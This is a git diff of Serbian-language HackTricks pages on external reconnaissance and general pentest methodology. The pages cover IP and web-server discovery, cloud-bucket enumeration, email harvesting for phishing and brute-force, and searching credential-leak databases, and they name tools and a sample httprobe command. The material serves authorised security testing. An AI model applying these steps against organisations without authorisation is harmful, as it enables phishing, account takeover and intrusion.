Ako pronađete neku **subdomenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**port skeniranje**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od usluga koje se pokreću, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
|
||||||
_Napomena: ponekad je subdomena hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._
|
_Napomena: ponekad je subdomena hostovana unutar IP-a koji nije pod kontrolom klijenta, tako da nije u opsegu, budite oprezni._
|
||||||
|
|
||||||
## IPs
|
## IPs
|
||||||
|
|
||||||
U početnim koracima možda ste **pronašli neke IP opsege, domene i subdomene**.\
|
U početnim koracima možda ste **pronašli neke IP opsege, domene i subdomene**.\
|
||||||
Sada je vreme da **prikupite sve IP adrese iz tih opsega** i za **domene/subdomene (DNS upiti).**
|
Vreme je da **prikupite sve IP adrese iz tih opsega** i za **domene/subdomene (DNS upiti).**
|
||||||
|
|
||||||
Koristeći usluge iz sledećih **besplatnih API-ja**, takođe možete pronaći **prethodne IP adrese korišćene od strane domena i subdomena**. Ove IP adrese možda još uvek pripadaju klijentu (i mogu vam omogućiti da pronađete [**CloudFlare zaobilaženja**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
Koristeći usluge iz sledećih **besplatnih API-ja**, takođe možete pronaći **prethodne IP adrese korišćene od strane domena i subdomena**. Ove IP adrese možda još uvek pripadaju klijentu (i mogu vam omogućiti da pronađete [**CloudFlare bypass**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||||
|
|
||||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||||
|
|
||||||
Takođe možete proveriti za domene koje upućuju na određenu IP adresu koristeći alat [**hakip2host**](https://github.com/hakluke/hakip2host)
|
Takođe možete proveriti za domene koje upućuju na određenu IP adresu koristeći alat [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||||
|
|
||||||
### **Traženje ranjivosti**
|
### **Looking for vulnerabilities**
|
||||||
|
|
||||||
**Skenirajte sve IP adrese koje ne pripadaju CDN-ima** (jer verovatno nećete pronaći ništa zanimljivo tamo). U otkrivenim servisima možda ćete **moći da pronađete ranjivosti**.
|
**Port skenirajte sve IP adrese koje ne pripadaju CDN-ima** (jer verovatno nećete pronaći ništa zanimljivo tamo). U otkrivenim uslugama možda ćete **moći da pronađete ranjivosti**.
|
||||||
|
|
||||||
**Pronađite** [**vodič**](../pentesting-network/) **o tome kako skenirati hostove.**
|
**Pronađite** [**vodič**](../pentesting-network/) **o tome kako skenirati hostove.**
|
||||||
|
|
||||||
## Lov na web servere
|
## Web servers hunting
|
||||||
|
|
||||||
> Pronašli smo sve kompanije i njihove resurse i znamo IP opsege, domene i subdomene unutar opsega. Vreme je da tražimo web servere.
|
> Pronašli smo sve kompanije i njihove resurse i znamo IP opsege, domene i subdomene unutar opsega. Vreme je da tražimo web servere.
|
||||||
|
|
||||||
U prethodnim koracima verovatno ste već izvršili neku **recon za otkrivene IP adrese i domene**, tako da ste možda **već pronašli sve moguće web servere**. Međutim, ako niste, sada ćemo videti neke **brze trikove za pretragu web servera** unutar opsega.
|
U prethodnim koracima verovatno ste već izvršili neku **recon za IP adrese i domene koje ste otkrili**, tako da ste možda **već pronašli sve moguće web servere**. Međutim, ako niste, sada ćemo videti neke **brze trikove za pretragu web servera** unutar opsega.
|
||||||
|
|
||||||
Molimo vas, imajte na umu da će ovo biti **orijentisano na otkrivanje web aplikacija**, tako da biste trebali **izvršiti skeniranje ranjivosti** i **skeniranje portova** takođe (**ako je dozvoljeno** od strane opsega).
|
Molimo vas, imajte na umu da će ovo biti **orijentisano na otkrivanje web aplikacija**, tako da biste trebali **izvršiti skeniranje ranjivosti** i **port skeniranje** takođe (**ako je dozvoljeno** od strane opsega).
|
||||||
|
|
||||||
**Brza metoda** za otkrivanje **otvorenih portova** povezanih sa **web** serverima koristeći [**masscan** može se pronaći ovde](../pentesting-network/#http-port-discovery).\
|
**Brza metoda** za otkrivanje **otvorenih portova** povezanih sa **web** serverima koristeći [**masscan** može se pronaći ovde](../pentesting-network/#http-port-discovery).\
|
||||||
Još jedan prijateljski alat za pretragu web servera je [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Samo prosledite listu domena i pokušaće da se poveže na port 80 (http) i 443 (https). Pored toga, možete naznačiti da pokuša i druge portove:
|
Još jedan prijateljski alat za pretragu web servera je [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Samo prosledite listu domena i pokušaće da se poveže na port 80 (http) i 443 (https). Pored toga, možete naznačiti da pokuša i druge portove:
|
||||||
|
@ -516,76 +516,76 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||||
```
|
```
|
||||||
### **Screenshots**
|
### **Screenshots**
|
||||||
|
|
||||||
Sada kada ste otkrili **sve web servere** prisutne u opsegu (među **IP-ovima** kompanije i svim **domenima** i **poddomenima**) verovatno **ne znate odakle da počnete**. Dakle, hajde da to pojednostavimo i počnemo samo sa pravljenjem snimaka ekrana svih njih. Samo gledajući **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **podložne** da budu **ranjive**.
|
Sada kada ste otkrili **sve web servere** prisutne u opsegu (među **IP-ovima** kompanije i svim **domenima** i **poddomenama**) verovatno **ne znate odakle da počnete**. Dakle, hajde da to pojednostavimo i počnemo tako što ćemo praviti snimke ekrana svih njih. Samo gledajući **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **podložne** da budu **ranjive**.
|
||||||
|
|
||||||
Da biste sproveli predloženu ideju, možete koristiti [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ili [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
Da biste sproveli predloženu ideju, možete koristiti [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ili [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||||
|
|
||||||
Pored toga, možete koristiti [**eyeballer**](https://github.com/BishopFox/eyeballer) da pregledate sve **screenshotove** i kažete vam **šta verovatno sadrži ranjivosti**, a šta ne.
|
Pored toga, možete koristiti [**eyeballer**](https://github.com/BishopFox/eyeballer) da pregledate sve **snimke ekrana** i kažete vam **šta verovatno sadrži ranjivosti**, a šta ne.
|
||||||
|
|
||||||
## Public Cloud Assets
|
## Javni Cloud Resursi
|
||||||
|
|
||||||
Da biste pronašli potencijalne cloud resurse koji pripadaju kompaniji, trebali biste **početi sa listom ključnih reči koje identifikuju tu kompaniju**. Na primer, za kripto kompaniju možete koristiti reči kao što su: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
Da biste pronašli potencijalne cloud resurse koji pripadaju kompaniji, trebali biste **početi sa listom ključnih reči koje identifikuju tu kompaniju**. Na primer, za kripto kompaniju možete koristiti reči kao što su: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||||
|
|
||||||
Takođe će vam biti potrebne liste reči **uobičajenih reči korišćenih u bucket-ima**:
|
Takođe će vam biti potrebne liste reči **uobičajenih reči korišćenih u kanticama**:
|
||||||
|
|
||||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||||
|
|
||||||
Zatim, sa tim rečima trebali biste generisati **permutacije** (proverite [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) za više informacija).
|
Zatim, sa tim rečima trebali biste generisati **permutacije** (pogledajte [**Drugu rundu DNS Brute-Force**](./#second-dns-bruteforce-round) za više informacija).
|
||||||
|
|
||||||
Sa dobijenim listama reči možete koristiti alate kao što su [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ili** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
Sa dobijenim listama reči možete koristiti alate kao što su [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ili** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||||
|
|
||||||
Zapamtite da kada tražite Cloud resurse, trebali biste **gledati više od samo bucket-a u AWS-u**.
|
Zapamtite da kada tražite Cloud Resurse, trebali biste **tražiti više od samo kanti u AWS-u**.
|
||||||
|
|
||||||
### **Looking for vulnerabilities**
|
### **Traženje ranjivosti**
|
||||||
|
|
||||||
Ako pronađete stvari kao što su **otvoreni bucket-i ili izložene cloud funkcije**, trebali biste **pristupiti njima** i pokušati da vidite šta vam nude i da li ih možete zloupotrebiti.
|
Ako pronađete stvari kao što su **otvorene kante ili izložene cloud funkcije**, trebali biste **pristupiti njima** i pokušati da vidite šta vam nude i da li ih možete zloupotrebiti.
|
||||||
|
|
||||||
## Emails
|
## Emailovi
|
||||||
|
|
||||||
Sa **domenima** i **poddomenima** unutar opsega, u suštini imate sve što vam **treba da počnete da tražite emailove**. Ovo su **API-ji** i **alati** koji su mi najbolje radili za pronalaženje emailova kompanije:
|
Sa **domenima** i **poddomenama** unutar opsega, u suštini imate sve što vam **treba da počnete da tražite emailove**. Ovo su **API-ji** i **alati** koji su mi najbolje radili za pronalaženje emailova kompanije:
|
||||||
|
|
||||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - sa API-ima
|
* [**theHarvester**](https://github.com/laramies/theHarvester) - sa API-ima
|
||||||
* API [**https://hunter.io/**](https://hunter.io/) (besplatna verzija)
|
* API [**https://hunter.io/**](https://hunter.io/) (besplatna verzija)
|
||||||
* API [**https://app.snov.io/**](https://app.snov.io/) (besplatna verzija)
|
* API [**https://app.snov.io/**](https://app.snov.io/) (besplatna verzija)
|
||||||
* API [**https://minelead.io/**](https://minelead.io/) (besplatna verzija)
|
* API [**https://minelead.io/**](https://minelead.io/) (besplatna verzija)
|
||||||
|
|
||||||
### **Looking for vulnerabilities**
|
### **Traženje ranjivosti**
|
||||||
|
|
||||||
Emailovi će biti korisni kasnije za **brute-force web prijave i auth servise** (kao što je SSH). Takođe, potrebni su za **phishing**. Pored toga, ovi API-ji će vam dati još više **informacija o osobi** iza emaila, što je korisno za phishing kampanju.
|
Emailovi će biti korisni kasnije za **brute-force web prijave i auth servise** (kao što je SSH). Takođe, potrebni su za **phishing**. Pored toga, ovi API-ji će vam dati još više **informacija o osobi** iza emaila, što je korisno za phishing kampanju.
|
||||||
|
|
||||||
## Credential Leaks
|
## Curjenje Akreditiva
|
||||||
|
|
||||||
Sa **domenima,** **poddomenima** i **emailovima** možete početi da tražite kredencijale koji su procurili u prošlosti i pripadaju tim emailovima:
|
Sa **domenima,** **poddomenama** i **emailovima** možete početi da tražite akreditive koji su procurili u prošlosti i koji pripadaju tim emailovima:
|
||||||
|
|
||||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||||
|
|
||||||
### **Looking for vulnerabilities**
|
### **Traženje ranjivosti**
|
||||||
|
|
||||||
Ako pronađete **validne procurile** kredencijale, ovo je vrlo lakša pobeda.
|
Ako pronađete **validne procurene** akreditive, ovo je vrlo lakša pobeda.
|
||||||
|
|
||||||
## Secrets Leaks
|
## Curenje Tajni
|
||||||
|
|
||||||
Procureni kredencijali su povezani sa hakovanjima kompanija gde je **osetljiva informacija procurila i prodana**. Međutim, kompanije mogu biti pogođene i **drugim curenjima** čije informacije nisu u tim bazama podataka:
|
Curenje akreditiva je povezano sa hakovanjem kompanija gde je **osetljiva informacija procurila i prodana**. Međutim, kompanije mogu biti pogođene zbog **drugih curenja** čije informacije nisu u tim bazama podataka:
|
||||||
|
|
||||||
### Github Leaks
|
### Github Curjenja
|
||||||
|
|
||||||
Kredencijali i API-ji mogu biti procureni u **javnim repozitorijumima** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\
|
Akreditivi i API-ji mogu biti procureni u **javnim repozitorijumima** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\
|
||||||
Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repozitorijume** jedne **organizacije** i njenih **razvijača** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) nad njima.
|
Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repozitorijume** jedne **organizacije** i njenih **razvijača** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) nad njima.
|
||||||
|
|
||||||
**Leakos** se takođe može koristiti za pokretanje **gitleaks** protiv svih **tekstualnih** **URL-ova** koji su mu prosleđeni, jer ponekad **web stranice takođe sadrže tajne**.
|
**Leakos** se takođe može koristiti za pokretanje **gitleaks** protiv svih **tekstualnih** **URL-ova** koji su mu prosleđeni, jer ponekad **web stranice takođe sadrže tajne**.
|
||||||
|
|
||||||
#### Github Dorks
|
#### Github Dorks
|
||||||
|
|
||||||
Proverite takođe ovu **stranicu** za potencijalne **github dorks** koje možete takođe pretraživati u organizaciji koju napadate:
|
Proverite takođe ovu **stranicu** za potencijalne **github dorks** koje takođe možete pretraživati u organizaciji koju napadate:
|
||||||
|
|
||||||
{% content-ref url="github-leaked-secrets.md" %}
|
{% content-ref url="github-leaked-secrets.md" %}
|
||||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Pastes Leaks
|
### Curenja Paste
|
||||||
|
|
||||||
Ponekad napadači ili samo radnici će **objaviti sadržaj kompanije na paste sajtu**. Ovo može ili ne mora sadržati **osetljive informacije**, ali je veoma zanimljivo tražiti to.\
|
Ponekad napadači ili samo radnici će **objaviti sadržaj kompanije na paste sajtu**. Ovo može ili ne mora sadržati **osetljive informacije**, ali je veoma zanimljivo tražiti to.\
|
||||||
Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pretražujete na više od 80 paste sajtova u isto vreme.
|
Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pretražujete na više od 80 paste sajtova u isto vreme.
|
||||||
|
@ -594,13 +594,13 @@ Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pr
|
||||||
|
|
||||||
Stari, ali zlatni google dorks su uvek korisni za pronalaženje **izloženih informacija koje ne bi trebale biti tu**. Jedini problem je što [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) sadrži nekoliko **hiljada** mogućih upita koje ne možete ručno pokrenuti. Dakle, možete uzeti svojih omiljenih 10 ili možete koristiti **alat kao što je** [**Gorks**](https://github.com/carlospolop/Gorks) **da ih sve pokrenete**.
|
Stari, ali zlatni google dorks su uvek korisni za pronalaženje **izloženih informacija koje ne bi trebale biti tu**. Jedini problem je što [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) sadrži nekoliko **hiljada** mogućih upita koje ne možete ručno pokrenuti. Dakle, možete uzeti svojih omiljenih 10 ili možete koristiti **alat kao što je** [**Gorks**](https://github.com/carlospolop/Gorks) **da ih sve pokrenete**.
|
||||||
|
|
||||||
_Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti jer će vas Google vrlo brzo blokirati._
|
_Napomena da alati koji očekuju da pokrenu celu bazu koristeći regularni Google pretraživač nikada neće završiti jer će vas google vrlo brzo blokirati._
|
||||||
|
|
||||||
### **Looking for vulnerabilities**
|
### **Traženje ranjivosti**
|
||||||
|
|
||||||
Ako pronađete **validne procurile** kredencijale ili API tokene, ovo je vrlo laka pobeda.
|
Ako pronađete **validne procurene** akreditive ili API tokene, ovo je vrlo laka pobeda.
|
||||||
|
|
||||||
## Public Code Vulnerabilities
|
## Javne Ranjivosti Koda
|
||||||
|
|
||||||
Ako ste otkrili da kompanija ima **open-source kod**, možete ga **analizirati** i tražiti **ranjivosti** u njemu.
|
Ako ste otkrili da kompanija ima **open-source kod**, možete ga **analizirati** i tražiti **ranjivosti** u njemu.
|
||||||
|
|
||||||
|
@ -614,13 +614,13 @@ Takođe postoje besplatne usluge koje vam omogućavaju da **skenirate javne repo
|
||||||
|
|
||||||
* [**Snyk**](https://app.snyk.io/)
|
* [**Snyk**](https://app.snyk.io/)
|
||||||
|
|
||||||
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
|
## [**Pentesting Web Metodologija**](../../network-services-pentesting/pentesting-web/)
|
||||||
|
|
||||||
**Većina ranjivosti** koje pronalaze lovci na greške se nalazi unutar **web aplikacija**, tako da bih u ovom trenutku želeo da govorim o **metodologiji testiranja web aplikacija**, a možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/).
|
**Većina ranjivosti** koje pronalaze lovci na greške se nalazi unutar **web aplikacija**, tako da bih u ovom trenutku želeo da govorim o **metodologiji testiranja web aplikacija**, a možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/).
|
||||||
|
|
||||||
Takođe želim da posebno pomenem sekciju [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, iako ne biste trebali očekivati da će pronaći veoma osetljive ranjivosti, oni su korisni za implementaciju u **tokove rada kako biste imali neke inicijalne web informacije.**
|
Takođe želim da posebno pomenem sekciju [**Web Automatski Skenere open source alati**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, iako ne biste trebali očekivati da pronađu veoma osetljive ranjivosti, oni su korisni za implementaciju u **tokove rada kako biste imali neke inicijalne web informacije.**
|
||||||
|
|
||||||
## Recapitulation
|
## Rekapitulacija
|
||||||
|
|
||||||
> Čestitamo! U ovom trenutku ste već izvršili **sve osnovne enumeracije**. Da, to je osnovno jer se može uraditi mnogo više enumeracija (videćemo više trikova kasnije).
|
> Čestitamo! U ovom trenutku ste već izvršili **sve osnovne enumeracije**. Da, to je osnovno jer se može uraditi mnogo više enumeracija (videćemo više trikova kasnije).
|
||||||
|
|
||||||
|
@ -633,10 +633,10 @@ Dakle, već ste:
|
||||||
5. Pronašli sve **IP-ove** (iz i **ne iz CDN-a**) unutar opsega.
|
5. Pronašli sve **IP-ove** (iz i **ne iz CDN-a**) unutar opsega.
|
||||||
6. Pronašli sve **web servere** i napravili **screenshot** njih (ima li nešto čudno što vredi dubljeg pregleda?)
|
6. Pronašli sve **web servere** i napravili **screenshot** njih (ima li nešto čudno što vredi dubljeg pregleda?)
|
||||||
7. Pronašli sve **potencijalne javne cloud resurse** koji pripadaju kompaniji.
|
7. Pronašli sve **potencijalne javne cloud resurse** koji pripadaju kompaniji.
|
||||||
8. **Emailovi**, **curenje kredencijala** i **curenje tajni** koji bi vam mogli doneti **veliku pobedu vrlo lako**.
|
8. **Emailovi**, **curenje akreditiva**, i **curenje tajni** koji bi vam mogli doneti **veliku pobedu vrlo lako**.
|
||||||
9. **Pentesting svih web stranica koje ste pronašli**
|
9. **Pentesting svih web stranica koje ste pronašli**
|
||||||
|
|
||||||
## **Full Recon Automatic Tools**
|
## **Potpuni Automatski Alati za Recon**
|
||||||
|
|
||||||
Postoji nekoliko alata koji će izvršiti deo predloženih akcija protiv datog opsega.
|
Postoji nekoliko alata koji će izvršiti deo predloženih akcija protiv datog opsega.
|
||||||
|
|
||||||
|
@ -645,13 +645,13 @@ Postoji nekoliko alata koji će izvršiti deo predloženih akcija protiv datog o
|
||||||
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
|
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
|
||||||
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Malo star i nije ažuriran
|
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Malo star i nije ažuriran
|
||||||
|
|
||||||
## **References**
|
## **Reference**
|
||||||
|
|
||||||
* Svi besplatni kursevi [**@Jhaddix**](https://twitter.com/Jhaddix) kao što je [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
* Svi besplatni kursevi [**@Jhaddix**](https://twitter.com/Jhaddix) kao što je [**Metodologija lovca na greške v4.0 - Recon izdanje**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovivog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -664,7 +664,7 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
||||||
<summary>Podrška HackTricks</summary>
|
<summary>Podrška HackTricks</summary>
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,13 +9,13 @@ Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
|
||||||
<summary>Podrška HackTricks</summary>
|
<summary>Podrška HackTricks</summary>
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
|
@ -31,15 +31,15 @@ _Logotipi Hacktricks dizajnirao_ [_@ppiernacho_](https://www.instagram.com/ppier
|
||||||
|
|
||||||
Da li imate **fizički pristup** mašini koju želite da napadnete? Trebalo bi da pročitate neke [**trikove o fizičkim napadima**](../hardware-physical-access/physical-attacks.md) i druge o [**bežanju iz GUI aplikacija**](../hardware-physical-access/escaping-from-gui-applications.md).
|
Da li imate **fizički pristup** mašini koju želite da napadnete? Trebalo bi da pročitate neke [**trikove o fizičkim napadima**](../hardware-physical-access/physical-attacks.md) i druge o [**bežanju iz GUI aplikacija**](../hardware-physical-access/escaping-from-gui-applications.md).
|
||||||
|
|
||||||
### 1 - [Otkriće hostova unutar mreže](pentesting-network/#discovering-hosts)/ [Otkriće imovine kompanije](external-recon-methodology/)
|
### 1 - [Otkriće hostova unutar mreže](pentesting-network/#discovering-hosts)/ [Otkriće sredstava kompanije](external-recon-methodology/)
|
||||||
|
|
||||||
**U zavisnosti** od toga da li je **test** koji izvodite **interni ili eksterni test**, možda ćete biti zainteresovani za pronalaženje **hostova unutar mreže kompanije** (interni test) ili **pronalaženje imovine kompanije na internetu** (eksterni test).
|
**U zavisnosti** od toga da li je **test** koji izvodite **interni ili eksterni test**, možda ćete biti zainteresovani za pronalaženje **hostova unutar mreže kompanije** (interni test) ili **pronalaženje sredstava kompanije na internetu** (eksterni test).
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Imajte na umu da ako izvodite eksterni test, kada uspete da dobijete pristup unutrašnjoj mreži kompanije, trebali biste ponovo započeti ovaj vodič.
|
Imajte na umu da ako izvodite eksterni test, kada uspete da dobijete pristup unutrašnjoj mreži kompanije, trebali biste ponovo započeti ovaj vodič.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **2-** [**Zabava sa mrežom**](pentesting-network/) **(Interni)**
|
### **2-** [**Zabavljanje sa mrežom**](pentesting-network/) **(Interni)**
|
||||||
|
|
||||||
**Ova sekcija se primenjuje samo ako izvodite interni test.**\
|
**Ova sekcija se primenjuje samo ako izvodite interni test.**\
|
||||||
Pre nego što napadnete host, možda biste želeli da **ukradete neke akreditive** **iz mreže** ili **snifujete** neke **podatke** kako biste pasivno/aktivno (MitM) saznali šta možete pronaći unutar mreže. Možete pročitati [**Pentesting Mrežu**](pentesting-network/#sniffing).
|
Pre nego što napadnete host, možda biste želeli da **ukradete neke akreditive** **iz mreže** ili **snifujete** neke **podatke** kako biste pasivno/aktivno (MitM) saznali šta možete pronaći unutar mreže. Možete pročitati [**Pentesting Mrežu**](pentesting-network/#sniffing).
|
||||||
|
@ -56,12 +56,12 @@ Kada znate koje usluge rade, i možda njihovu verziju, morate **tražiti poznate
|
||||||
|
|
||||||
Ako nema nikakvih zanimljivih eksploatacija za bilo koju aktivnu uslugu, trebali biste potražiti **uobičajene greške u konfiguraciji svake aktivne usluge.**
|
Ako nema nikakvih zanimljivih eksploatacija za bilo koju aktivnu uslugu, trebali biste potražiti **uobičajene greške u konfiguraciji svake aktivne usluge.**
|
||||||
|
|
||||||
**Unutar ove knjige naći ćete vodič za pentestovanje najčešćih usluga** (i drugih koje nisu tako uobičajene)**. Molimo vas da potražite u levom indeksu _**PENTESTING**_ **sekciju** (usluge su poredane po njihovim podrazumevanim portovima).
|
